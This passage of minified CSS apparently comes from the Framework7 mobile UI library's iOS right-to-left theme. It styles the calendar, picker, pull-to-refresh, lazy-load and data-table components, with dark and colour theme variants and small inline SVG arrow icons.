6);display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-flex-shrink:1;-ms-flex-negative:1;flex-shrink:1;width:100%;position:relative;-webkit-box-sizing:border-box;box-sizing:border-box}.calendar-day{-webkit-flex-shrink:1;-ms-flex-negative:1;flex-shrink:1;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-box-sizing:border-box;box-sizing:border-box;width:14.28571429%;width:calc(100% / 7);text-align:center;cursor:pointer;z-index:20;color:#000;height:100%}.calendar-day.calendar-day-next,.calendar-day.calendar-day-prev{color:#b8b8b8}.calendar-day.calendar-day-disabled{color:#d4d4d4;cursor:auto}.calendar-day.calendar-day-selected span{color:#fff}.calendar-day.calendar-day-has-events span:after{content:'';width:4px;height:4px;border-radius:50%;position:absolute;margin-left:-2px;left:50%;bottom:1px}.calendar-day span{display:inline-block;border-radius:100%;position:relative}.calendar-range .calendar-day.calendar-day-selected{-webkit-box-align:stretch;-webkit-align-items:stretch;-ms-flex-align:stretch;align-items:stretch;-webkit-align-content:stretch;-ms-flex-line-pack:stretch;align-content:stretch}.calendar-range .calendar-day.calendar-day-selected span{width:100%;border-radius:0;height:auto;text-align:center;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center}.calendar-month-selector,.calendar-year-selector{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;width:50%;max-width:200px;-webkit-flex-shrink:10;-ms-flex-negative:10;flex-shrink:10}.calendar-month-selector span,.calendar-year-selector span{-webkit-flex-shrink:1;-ms-flex-negative:1;flex-shrink:1;position:relative;overflow:hidden;text-overflow:ellipsis}.ios .calendar-header{height:44px;background:#f7f7f8;font-size:17px;line-height:44px;font-weight:600;padding:0 8px;position:relative;overflow:hidden;white-space:nowrap;text-overflow:ellipsis;-webkit-box-sizing:border-box;box-sizing:border-box}.ios .calendar-footer{position:relative;padding:0 8px;width:100%;height:44px;background:#f7f7f8;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:end;-webkit-justify-content:flex-end;-ms-flex-pack:end;justify-content:flex-end;-webkit-box-sizing:border-box;box-sizing:border-box;font-size:17px}.ios .calendar-footer:before{content:'';position:absolute;background-color:#c4c4c4;display:block;z-index:15;top:0;right:auto;bottom:auto;left:0;height:1px;width:100%;-webkit-transform-origin:50% 0;transform-origin:50% 0}.ios.device-pixel-ratio-2 .calendar-footer:before{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .calendar-footer:before{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios .calendar-week-header{background:#f7f7f8;height:18px}.ios .calendar-week-header .calendar-week-day{line-height:18px}.ios .calendar-row:before{content:'';position:absolute;background-color:#c4c4c4;display:block;z-index:15;top:0;right:auto;bottom:auto;left:0;height:1px;width:100%;-webkit-transform-origin:50% 0;transform-origin:50% 0}.ios.device-pixel-ratio-2 .calendar-row:before{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .calendar-row:before{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios .calendar-day{font-size:15px}.ios .calendar-day.calendar-day-today span{background:#e3e3e3}.ios .calendar-day.calendar-day-has-events span:after{background:#007aff}.ios .calendar-day.calendar-day-has-events.calendar-day-selected span:after{background-color:#fff}.ios .calendar-day.calendar-day-selected span{background:#007aff}.ios .calendar-day span{width:30px;height:30px;line-height:30px}.ios .calendar-month-selector a.icon-only,.ios .calendar-year-selector a.icon-only{min-width:36px}.ios .calendar-sheet:before{content:'';position:absolute;background-color:#929499;display:block;z-index:15;top:0;right:auto;bottom:auto;left:0;height:1px;width:100%;-webkit-transform-origin:50% 0;transform-origin:50% 0}.ios.device-pixel-ratio-2 .calendar-sheet:before{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .calendar-sheet:before{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios .calendar-sheet{background:#fff}.ios .calendar-sheet:before{z-index:600}.ios .calendar-sheet .toolbar:before{display:none!important}.ios .calendar-modal .toolbar:before,.ios .calendar-popover .toolbar:before{display:none!important}.ios .calendar-modal .calendar-months:first-child .calendar-row:first-child:before,.ios .calendar-popover .calendar-months:first-child .calendar-row:first-child:before{display:none!important}.ios .calendar-popover .toolbar{background:0 0}.ios .calendar-popover .calendar-footer,.ios .calendar-popover .calendar-header,.ios .calendar-popover .calendar-week-header{background:0 0}.ios.device-iphone-x .calendar-sheet .sheet-modal-inner{margin-bottom:constant(safe-area-inset-bottom);margin-bottom:env(safe-area-inset-bottom)}@media (orientation:landscape){.ios.device-iphone-x .ios-edges .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-row,.ios.device-iphone-x .ios-edges .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-week-header,.ios.device-iphone-x .ios-edges.calendar .calendar-row,.ios.device-iphone-x .ios-edges.calendar .calendar-week-header,.ios.device-iphone-x .ios-left-edge .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-row,.ios.device-iphone-x .ios-left-edge .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-week-header,.ios.device-iphone-x .ios-left-edge.calendar .calendar-row,.ios.device-iphone-x .ios-left-edge.calendar .calendar-week-header,.ios.device-iphone-x .panel-left .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-row,.ios.device-iphone-x .panel-left .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-week-header,.ios.device-iphone-x .panel-left.calendar .calendar-row,.ios.device-iphone-x .panel-left.calendar .calendar-week-header,.ios.device-iphone-x .popup .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-row,.ios.device-iphone-x .popup .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-week-header,.ios.device-iphone-x .popup.calendar .calendar-row,.ios.device-iphone-x .popup.calendar .calendar-week-header,.ios.device-iphone-x .sheet-modal .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-row,.ios.device-iphone-x .sheet-modal .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-week-header,.ios.device-iphone-x .sheet-modal.calendar .calendar-row,.ios.device-iphone-x .sheet-modal.calendar .calendar-week-header{padding-left:constant(safe-area-inset-left);padding-left:env(safe-area-inset-left)}.ios.device-iphone-x .ios-edges .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-row,.ios.device-iphone-x .ios-edges .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-week-header,.ios.device-iphone-x .ios-edges.calendar .calendar-row,.ios.device-iphone-x .ios-edges.calendar .calendar-week-header,.ios.device-iphone-x .ios-right-edge .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-row,.ios.device-iphone-x .ios-right-edge .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-week-header,.ios.device-iphone-x .ios-right-edge.calendar .calendar-row,.ios.device-iphone-x .ios-right-edge.calendar .calendar-week-header,.ios.device-iphone-x .panel-right .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-row,.ios.device-iphone-x .panel-right .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-week-header,.ios.device-iphone-x .panel-right.calendar .calendar-row,.ios.device-iphone-x .panel-right.calendar .calendar-week-header,.ios.device-iphone-x .popup .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-row,.ios.device-iphone-x .popup .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-week-header,.ios.device-iphone-x .popup.calendar .calendar-row,.ios.device-iphone-x .popup.calendar .calendar-week-header,.ios.device-iphone-x .sheet-modal .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-row,.ios.device-iphone-x .sheet-modal .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-week-header,.ios.device-iphone-x .sheet-modal.calendar .calendar-row,.ios.device-iphone-x .sheet-modal.calendar .calendar-week-header{padding-right:constant(safe-area-inset-right);padding-right:env(safe-area-inset-right)}}.calendar.ios .theme-dark .calendar-footer,.calendar.ios .theme-dark .calendar-header,.calendar.ios .theme-dark .calendar-week-header,.ios .theme-dark .calendar .calendar-footer,.ios .theme-dark .calendar .calendar-header,.ios .theme-dark .calendar .calendar-week-header{background-color:#1b1b1b}.ios .theme-dark .calendar-popover .calendar-week-header{background-color:transparent}.ios .theme-dark .calendar-footer:before,.ios .theme-dark .calendar-row:before,.ios .theme-dark .calendar-sheet:before{background-color:#282829}.ios .theme-dark .calendar-day{color:#fff}.ios .theme-dark .calendar-day.calendar-day-today:not(.calendar-day-selected) span{background:#333}.ios .theme-dark .calendar-day.calendar-day-disabled{color:#8e8e93}.ios .theme-dark .calendar-day.calendar-day-next,.ios .theme-dark .calendar-day.calendar-day-prev{color:#555}.calendar-modal.ios .theme-dark,.ios .theme-dark .calendar-modal,.ios .theme-dark .calendar-sheet{background:#171717}.ios .color-red .calendar-day.calendar-day-selected span,.ios .color-theme-red .calendar-day.calendar-day-selected span{background:#ff3b30}.ios .color-green .calendar-day.calendar-day-selected span,.ios .color-theme-green .calendar-day.calendar-day-selected span{background:#4cd964}.ios .color-blue .calendar-day.calendar-day-selected span,.ios .color-theme-blue .calendar-day.calendar-day-selected span{background:#007aff}.ios .color-pink .calendar-day.calendar-day-selected span,.ios .color-theme-pink .calendar-day.calendar-day-selected span{background:#ff2d55}.ios .color-theme-yellow .calendar-day.calendar-day-selected span,.ios .color-yellow .calendar-day.calendar-day-selected span{background:#fc0}.ios .color-orange .calendar-day.calendar-day-selected span,.ios .color-theme-orange .calendar-day.calendar-day-selected span{background:#ff9500}.ios .color-gray .calendar-day.calendar-day-selected span,.ios .color-theme-gray .calendar-day.calendar-day-selected span{background:#8e8e93}.ios .color-theme-white .calendar-day.calendar-day-selected span,.ios .color-white .calendar-day.calendar-day-selected span{background:#fff}.ios .color-black .calendar-day.calendar-day-selected span,.ios .color-theme-black .calendar-day.calendar-day-selected span{background:#000}.picker{width:100%;height:260px}.picker.picker-inline,.popover .picker{height:200px}@media (orientation:landscape) and (max-height:415px){.picker:not(.picker-inline){height:200px}}.picker-popover{width:280px}.picker-columns{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;overflow:hidden;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;padding:0;text-align:right;height:100%;position:relative;-webkit-mask-box-image:linear-gradient(to top,transparent,transparent 5%,#fff 20%,#fff 80%,transparent 95%,transparent)}.picker-column{position:relative;max-height:100%}.picker-column.picker-column-first:before,.picker-column.picker-column-last:after{height:100%;width:100vw;position:absolute;content:'';top:0}.picker-column.picker-column-first:before{left:100%}.picker-column.picker-column-last:after{right:100%}.picker-column.picker-column-left{text-align:left}.picker-column.picker-column-center{text-align:center}.picker-column.picker-column-right{text-align:right}.picker-column.picker-column-divider{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center}.picker-items{-webkit-transition:.3s;transition:.3s;-webkit-transition-timing-function:ease-out;transition-timing-function:ease-out}.picker-item{height:36px;line-height:36px;white-space:nowrap;position:relative;overflow:hidden;text-overflow:ellipsis;left:0;top:0;width:100%;-webkit-box-sizing:border-box;box-sizing:border-box;-webkit-transition:.3s;transition:.3s}.picker-item span{padding:0 10px}.picker-column-absolute .picker-item{position:absolute}.picker-item.picker-item-far{pointer-events:none}.picker-item.picker-item-selected{-webkit-transform:translate3d(0,0,0) rotateX(0);transform:translate3d(0,0,0) rotateX(0)}.picker-center-highlight{height:36px;-webkit-box-sizing:border-box;box-sizing:border-box;position:absolute;left:0;width:100%;top:50%;margin-top:-18px;pointer-events:none}.picker-3d .picker-columns{overflow:hidden;-webkit-perspective:1200px;perspective:1200px}.picker-3d .picker-column,.picker-3d .picker-item,.picker-3d .picker-items{-webkit-transform-style:preserve-3d;transform-style:preserve-3d}.picker-3d .picker-column{overflow:visible}.picker-3d .picker-item{-webkit-transform-origin:center center -110px;transform-origin:center center -110px;-webkit-backface-visibility:hidden;backface-visibility:hidden;-webkit-transition-timing-function:ease-out;transition-timing-function:ease-out}.ios .picker-columns{font-size:24px}.ios .picker-column-divider{color:#000}.ios .picker-item{color:#707274}.ios .picker-item.picker-item-selected{color:#000}.ios .picker-popover .toolbar{background:0 0}.ios .picker-popover .toolbar:before{display:none!important}.ios .picker-popover .picker>.toolbar+.picker-columns{height:calc(100% - 44px)}.ios .picker-popover .toolbar:after{content:'';position:absolute;background-color:#c4c4c4;display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}.ios.device-pixel-ratio-2 .picker-popover .toolbar:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .picker-popover .toolbar:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios .picker-center-highlight:before{content:'';position:absolute;background-color:#a8abb0;display:block;z-index:15;top:0;right:auto;bottom:auto;left:0;height:1px;width:100%;-webkit-transform-origin:50% 0;transform-origin:50% 0}.ios.device-pixel-ratio-2 .picker-center-highlight:before{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .picker-center-highlight:before{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios .picker-center-highlight:after{content:'';position:absolute;background-color:#a8abb0;display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}.ios.device-pixel-ratio-2 .picker-center-highlight:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .picker-center-highlight:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios .theme-dark .picker-item.picker-item-selected{color:#fff}.ios .theme-dark .picker-popover .toolbar:after,.picker-popover.ios .theme-dark .toolbar:after{background-color:#282829}.ios .theme-dark .picker-center-highlight:before{background-color:#282829}.ios .theme-dark .picker-center-highlight:after{background-color:#282829}.infinite-scroll-preloader{margin-left:auto;margin-right:auto;text-align:center}.infinite-scroll-preloader.preloader{display:block}.ios .infinite-scroll-preloader{margin-top:35px;margin-bottom:35px}.ios .infinite-scroll-preloader .preloader,.ios .infinite-scroll-preloader.preloader{width:27px;height:27px}.ptr-preloader .preloader{position:absolute;left:50%}.ios .ptr-preloader{position:relative;height:44px;margin-top:-44px;width:100%;left:0;top:0}.ios .ptr-preloader .preloader{width:27px;height:27px;margin-left:-13px;margin-top:-13px;visibility:hidden;top:50%}.ios .ptr-arrow{position:absolute;left:50%;top:50%;background:no-repeat center;z-index:10;-webkit-transform:rotate(0) translate3d(0,0,0);transform:rotate(0) translate3d(0,0,0);-webkit-transition-duration:.3s;transition-duration:.3s;-webkit-transition-property:-webkit-transform;transition-property:-webkit-transform;transition-property:transform;transition-property:transform,-webkit-transform;width:13px;height:20px;margin-left:-6px;margin-top:-10px;background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2026%2040'%3E%3Cpolygon%20points%3D'9%2C22%209%2C0%2017%2C0%2017%2C22%2026%2C22%2013.5%2C40%200%2C22'%20fill%3D'%238c8c8c'%2F%3E%3C%2Fsvg%3E");background-size:13px 20px;visibility:visible}.ios .ptr-content:not(.ptr-refreshing) .ptr-preloader .preloader{-webkit-animation:none;animation:none}.ios .ptr-refreshing,.ios .ptr-transitioning{-webkit-transition-duration:.3s;transition-duration:.3s;-webkit-transition-property:-webkit-transform;transition-property:-webkit-transform;transition-property:transform;transition-property:transform,-webkit-transform}.ios .ptr-refreshing{-webkit-transform:translate3d(0,44px,0);transform:translate3d(0,44px,0)}.ios .ptr-refreshing .ptr-arrow{visibility:hidden}.ios .ptr-refreshing .ptr-preloader .preloader{visibility:visible}.ios .ptr-pull-up .ptr-arrow{-webkit-transform:rotate(180deg) translate3d(0,0,0);transform:rotate(180deg) translate3d(0,0,0)}.ios .ptr-no-navbar{margin-top:-44px;height:calc(100% + 44px)}.ios .ptr-no-navbar .ptr-preloader{margin-top:0}.lazy-loaded.lazy-fade-in{-webkit-animation:lazyFadeIn .6s;animation:lazyFadeIn .6s}@-webkit-keyframes lazyFadeIn{from{opacity:0}to{opacity:1}}@keyframes lazyFadeIn{from{opacity:0}to{opacity:1}}.data-table{overflow-x:auto}.data-table table{width:100%;border:none;padding:0;margin:0;border-collapse:collapse;text-align:right}.data-table thead{font-size:12px}.data-table thead td,.data-table thead th{overflow:hidden;white-space:nowrap;text-overflow:ellipsis;line-height:16px}.data-table thead i.f7-icons,.data-table thead i.icon,.data-table thead i.material-icons{vertical-align:top}.data-table td,.data-table th{padding:0;position:relative}.data-table td.numeric-cell,.data-table th.numeric-cell{text-align:left}.data-table td.checkbox-cell,.data-table th.checkbox-cell{overflow:visible}.data-table td.checkbox-cell label+span,.data-table th.checkbox-cell label+span{margin-right:8px}.data-table td.actions-cell,.data-table th.actions-cell{text-align:left;white-space:nowrap}.card .data-table td a.icon-only,.card .data-table th a.icon-only,.card.data-table td a.icon-only,.card.data-table th a.icon-only,.data-table td a.icon-only,.data-table th a.icon-only{display:inline-block;vertical-align:middle;text-align:center;font-size:0;min-width:0}.card .data-table td a.icon-only i,.card .data-table th a.icon-only i,.card.data-table td a.icon-only i,.card.data-table th a.icon-only i,.data-table td a.icon-only i,.data-table th a.icon-only i{font-size:18px;vertical-align:middle}.data-table .sortable-cell:not(.input-cell){cursor:pointer;position:relative}.data-table .sortable-cell.input-cell .table-head-label{cursor:pointer;position:relative}.data-table .sortable-cell.numeric-cell.input-cell>.table-head-label:before,.data-table .sortable-cell.numeric-cell:not(.input-cell):before,.data-table .sortable-cell:not(.numeric-cell).input-cell>.table-head-label:after,.data-table .sortable-cell:not(.numeric-cell):not(.input-cell):after{content:'';display:inline-block;vertical-align:top;width:16px;height:16px;background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20fill%3D'%23000000'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%20width%3D'24'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M0%200h24v24H0V0z'%20fill%3D'none'%2F%3E%3Cpath%20d%3D'M20%2012l-1.41-1.41L13%2016.17V4h-2v12.17l-5.58-5.59L4%2012l8%208%208-8z'%20fill%3D'%23000000'%2F%3E%3C%2Fsvg%3E");background-size:100% auto;background-position:center;background-repeat:no-repeat;font-size:0;-webkit-transition-duration:.3s;transition-duration:.3s;-webkit-transform:rotate(0);transform:rotate(0);opacity:0}html.device-desktop .data-table .sortable-cell:not(.sortable-cell-active) .table-head-label:hover:after,html.device-desktop .data-table .sortable-cell:not(.sortable-cell-active) .table-head-label:hover:before,html.device-desktop .data-table .sortable-cell:not(.sortable-cell-active):hover:after,html.device-desktop .data-table .sortable-cell:not(.sortable-cell-active):hover:before{opacity:.54}.data-table .sortable-cell.sortable-cell-active .table-head-label:after,.data-table .sortable-cell.sortable-cell-active .table-head-label:before,.data-table .sortable-cell.sortable-cell-active:after,.data-table .sortable-cell.sortable-cell-active:before{opacity:.87!important}.data-table .sortable-cell.sortable-desc:after,.data-table .sortable-cell.sortable-desc:before,.data-table .table-head-label:after,.data-table .table-head-label:before{-webkit-transform:rotate(180deg)!important;transform:rotate(180deg)!important}.card .data-table .card-header,.data-table.card .card-header{height:64px}.card .data-table .card-content,.data-table.card .card-content{overflow-x:auto}.data-table .data-table-actions,.data-table .data-table-links{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex}.data-table .data-table-actions{margin-right:auto;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center}.data-table .data-table-actions a.link{min-width:0}.data-table .data-table-actions a.link.icon-only{line-height:1;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;padding:0}.data-table .data-table-header,.data-table .data-table-header-selected{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;width:100%}.data-table .data-table-header-selected{display:none}.data-table.data-table-has-checked .data-table-header{display:none}.data-table.data-table-has-checked .data-table-header-selected{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex}.data-table .data-table-title-selected{font-size:14px}.data-table .data-table-footer{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-box-sizing:border-box;box-sizing:border-box;position:relative;font-size:12px;overflow:hidden;-webkit-box-pack:start;-webkit-justify-content:flex-start;-ms-flex-pack:start;justify-content:flex-start}.data-table .data-table-pagination,.data-table .data-table-rows-select{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center}@media (max-width:480px) and (orientation:portrait){.data-table.data-table-collapsible thead{display:none}.data-table.data-table-collapsible tbody,.data-table.data-table-collapsible td,.data-table.data-table-collapsible tr{display:block}.data-table.data-table-collapsible tr{position:relative}.data-table.data-table-collapsible tr:hover{background-color:inherit}.data-table.data-table-collapsible td{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-align-content:center;-ms-flex-line-pack:center;align-content:center;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:start;-webkit-justify-content:flex-start;-ms-flex-pack:start;justify-content:flex-start;text-align:right}.data-table.data-table-collapsible td:before{display:none!important}.data-table.data-table-collapsible td:not(.checkbox-cell):before{width:40%;display:block!important;content:attr(data-collapsible-title);position:relative;height:auto;background:0 0!important;-webkit-transform:none!important;transform:none!important;font-size:12px;margin-left:16px;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0}.data-table.data-table-collapsible td.checkbox-cell{position:absolute;top:0;right:0}.data-table.data-table-collapsible td.checkbox-cell+td{padding-right:16px}.data-table.data-table-collapsible td.checkbox-cell~td{margin-right:32px}}.data-table .tablet-landscape-only,.data-table .tablet-only{display:none}@media (min-width:768px){.data-table .tablet-only{display:table-cell}}@media (min-width:768px) and (orientation:landscape){.data-table .tablet-landscape-only{display:table-cell}}.theme-dark .data-table .sortable-cell.numeric-cell.input-cell>.table-head-label:before,.theme-dark .data-table .sortable-cell.numeric-cell:not(.input-cell):before,.theme-dark .data-table .sortable-cell:not(.numeric-cell).input-cell>.table-head-label:after,.theme-dark .data-table .sortable-cell:not(.numeric-cell):not(.input-cell):after{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20fill%3D'%23fff'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%20width%3D'24'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M0%200h24v24H0V0z'%20fill%3D'none'%2F%3E%3Cpath%20d%3D'M20%2012l-1.41-1.41L13%2016.17V4h-2v12.17l-5.58-5.59L4%2012l8%208%208-8z'%20fill%3D'%23fff'%2F%3E%3C%2Fsvg%3E")}.ios .data-table thead td,.ios .data-table thead th{font-weight:600}.ios .data-table thead td:not(.sortable-cell-active),.ios .data-table thead th:not(.sortable-cell-active){color:#8e8e93}.ios .data-table thead i.f7-icons,.ios .data-table thead i.icon{font-size:18px;width:18px;height:18px}.ios .data-table tbody tr.data-table-row-selected{background:#f7f7f8}.ios .data-table td,.ios .data-table th{padding-left:15px;padding-right:15px;height:44px}.ios .data-table td.checkbox-cell,.ios .data-table th.checkbox-cell{width:22px;padding-left:7px}.ios .data-table td.checkbox-cell+td,.ios .data-table td.checkbox-cell+th,.ios .data-table th.checkbox-cell+td,.ios .data-table th.checkbox-cell+th{padding-right:8px}.ios .data-table td.actions-cell a.link+a.link,.ios .data-table th.actions-cell a.link+a.link{margin-right:15px}.ios .data-table td.actions-cell a.icon-only,.ios .data-table th.actions-cell a.icon-only{width:18px;height:18px;line-height:18px}.ios .sortable-cell:not(.numeric-cell):after{margin-right:5px}.ios .sortable-cell.numeric-cell:before{margin-left:5px}.ios .card .data-table .card-footer,.ios .card .data-table .card-header,.ios .data-table.card .card-footer,.ios .data-table.card .card-header{padding-right:15px;padding-left:8px}.ios .data-table-title{font-size:17px;font-weight:600}.ios .data-table-actions a.link+a.link,.ios .data-table-links a.link+a.link{margin-right:15px}.ios .data-table-actions a.link.icon-only{width:44px;height:44px}.ios .data-table-actions i.f7-icons,.ios .data-table-actions i.icon{font-size:22px}.ios .data-table .card-header>.data-table-header,.ios .data-table .card-header>.data-table-header-selected{padding-top:10px;padding-bottom:10px;height:100%;padding-right:15px;padding-left:8px;margin-right:-15px;margin-left:-8px}.ios .data-table-header-selected{background:rgba(0,122,255,.1)}.ios .data-table-title-selected{color:#007aff}.ios .data-table tbody td:before{content:'';position:absolute;background-color:#c8c7cc;display:block;z-index:15;top:0;right:auto;bottom:auto;left:0;height:1px;width:100%;-webkit-transform-origin:50% 0;transform-origin:50% 0}.ios.device-pixel-ratio-2 .data-table tbody td:before{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .data-table tbody td:before{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios.device-desktop .data-table tbody tr:hover{background:#f7f7f8}.ios .data-table-footer{height:44px;color:#8e8e93}.ios .data-table-pagination a.link,.ios .data-table-rows-select a.link{width:44px;height:44px}.ios .data-table-rows-select+.data-table-pagination{margin-right:30px}.ios .data-table-rows-select .input{margin-right:20px}.ios .data-table-pagination-label{margin-left:15px}.ios .data-table-footer:before{content:'';position:absolute;background-color:#c8c7cc;display:block;z-index:15;top:0;right:auto;bottom:auto;left:0;height:1px;width:100%;-webkit-transform-origin:50% 0;transform-origin:50% 0}.ios.device-pixel-ratio-2 .data-table-footer:before{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .data-table-footer:before{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios .input-cell{padding-top:8px;padding-bottom:8px;height:auto;vertical-align:top}.ios .input-cell .table-head-label+.input{margin-top:4px}.ios .input-cell .input{height:24px}.ios .input-cell .input input,.ios .input-cell .input select,.ios .input-cell .input textarea{height:24px;color:#000;font-size:14px}@media (max-width:480px) and (orientation:portrait){.ios .data-table.data-table-collapsible td:not(.checkbox-cell):before{color:#8e8e93;font-weight:600}.ios .data-table-collapsible tr:before{content:'';position:absolute;background-color:#c8c7cc;display:block;z-index:15;top:0;right:auto;bottom:auto;left:0;height:1px;width:100%;-webkit-transform-origin:50% 0;transform-origin:50% 0}.ios.device-pixel-ratio-2 .data-table-collapsible tr:before{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .data-table-collapsible tr:before{-webkit-transform:scaleY(.33);transform:scaleY(.33)}}.data-table.ios .theme-dark tbody td:before,.ios .theme-dark .data-table tbody td:before{background-color:#282829}.data-table.ios .theme-dark.data-table-collapsible tr:before,.ios .theme-dark .data-table.data-table-collapsible tr:before{background-color:#282829}.data-table.ios .theme-dark tbody tr.data-table-row-selected,.ios .theme-dark .data-table tbody tr.data-table-row-selected{background-color:#363636}.ios.device-desktop .theme-dark .data-table tbody tr:hover,.ios.device-desktop .theme-dark.data-table tbody tr:hover{background:#363636}.ios .color-theme-red .data-table-header-selected,.ios .data-table-header-selected.color-red{background:rgba(255,59,48,.1)}.ios .color-red .data-table-title-selected,.ios .color-theme-red .data-table-title-selected{color:#ff3b30}.ios .color-theme-green .data-table-header-selected,.ios .data-table-header-selected.color-green{background:rgba(76,217,100,.1)}.ios .color-green .data-table-title-selected,.ios .color-theme-green .data-table-title-selected{color:#4cd964}.ios .color-theme-blue .data-table-header-selected,.ios .data-table-header-selected.color-blue{background:rgba(0,122,255,.1)}.ios .color-blue .data-table-title-selected,.ios .color-theme-blue .data-table-title-selected{color:#007aff}.ios .color-theme-pink .data-table-header-selected,.ios .data-table-header-selected.color-pink{background:rgba(255,45,85,.1)}.ios .color-pink .data-table-title-selected,.ios .color-theme-pink .data-table-title-selected{color:#ff2d55}.ios .color-theme-yellow .data-table-header-selected,.ios .data-table-header-selected.color-yellow{background:rgba(255,204,0,.1)}.ios .color-theme-yellow .data-table-title-selected,.ios .color-yellow .data-table-title-selected{color:#fc0}.ios .color-theme-orange .data-table-header-selected,.ios .data-table-header-selected.color-orange{background:rgba(255,149,0,.1)}.ios .color-orange .data-table-title-selected,.ios .color-theme-orange .data-table-title-selected{color:#ff9500}.ios .color-theme-gray .data-table-header-selected,.ios .data-table-header-selected.color-gray{background:rgba(142,142,147,.1)}.ios .color-gray .data-table-title-selected,.ios .color-theme-gray .data-table-title-selected{color:#8e8e93}.ios .color-theme-white .data-table-header-selected,.ios .data-table-header-selected.color-white{background:rgba(255,255,255,.1)}.ios .color-theme-white .data-table-title-selected,.ios .color-white .data-table-title-selected{color:#fff}.ios .color-theme-black .data-table-header-selected,.ios .data-table-header-selected.color-black{background:rgba(0,0,0,.1)}.ios .color-black .data-table-title-selected,.ios 